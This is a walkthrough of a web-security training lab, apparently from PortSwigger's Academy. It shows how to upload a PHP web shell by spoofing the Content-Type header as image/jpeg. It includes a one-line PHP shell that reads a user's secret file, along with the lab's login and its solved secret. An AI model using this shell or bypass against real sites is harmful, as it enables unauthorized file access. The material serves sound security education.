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# Web shell upload via Content-Type restriction bypass

## Description

This lab contains a vulnerable image upload function. It attempts to prevent users from uploading unexpected file types, but relies on checking user-controllable input to verify this.

To solve the lab, upload a basic PHP web shell and use it to exfiltrate the contents of the file `/home/carlos/secret`. Submit this secret using the button provided in the lab banner.

You can log in to your own account using the following credentials: `wiener:peter`

## Solution

<figure><img src="/files/CbBIkaCPK0h9SVzkx2GO" alt=""><figcaption></figcaption></figure>

After login as Wiener user there's an upload option to upload avatar image:

<figure><img src="/files/dPO6MPaLmSDcNOjcPggE" alt=""><figcaption></figcaption></figure>

with the avatar image at this path/location:

[https://0a890067048524a181330c1d0073004e.web-security-academy.net](https://0a890067048524a181330c1d0073004e.web-security-academy.net/my-account?id=wiener)[/resources/images/avatarDefault.svg](https://0ab300990381641d80b5b7de005e0030.web-security-academy.net/resources/images/avatarDefault.svg)

We need to obtain Carlos's secret, we can do it upload a php shell (`php_web_shell.php`) that get secret file content

```php
<?php echo file_get_contents('/home/carlos/secret'); ?>
```

<figure><img src="/files/FBWLbseNhPk2vqDbaZ2K" alt=""><figcaption></figcaption></figure>

there's a filtering and we can't upload php shell, seeing the output message file types allowed are: image/jpeg and image/png, so we can use the Burp Repeater to modify request updating Content-Type

<figure><img src="/files/kNhOeeRFJRytN32H2oK3" alt=""><figcaption></figcaption></figure>

Infact, inserting: image/jpeg we're able to upload our php web shell bypassing controls:

<figure><img src="/files/CXO84GlnSLdDTHC6eIA0" alt=""><figcaption></figcaption></figure>

We know the file location and we can open it going to: [https://0a890067048524a181330c1d0073004e.web-security-academy.net](https://0a890067048524a181330c1d0073004e.web-security-academy.net/my-account?id=wiener)[/files/avatars/php\_web\_shell.php](https://0ab300990381641d80b5b7de005e0030.web-security-academy.net/files/avatars/php_web_shell.php)

<figure><img src="/files/CpbF1yCKYLhjuIPv27z0" alt=""><figcaption></figcaption></figure>

<details>

<summary>Carlos's Secret</summary>

FYw9wjdc53Z6eePuSDiWMPkmrVT6kzvF

</details>

Obtaining Carlos's secret and solving the lab.

<figure><img src="/files/2W4VsaSyCQWCg2G4h0bV" alt=""><figcaption></figcaption></figure>


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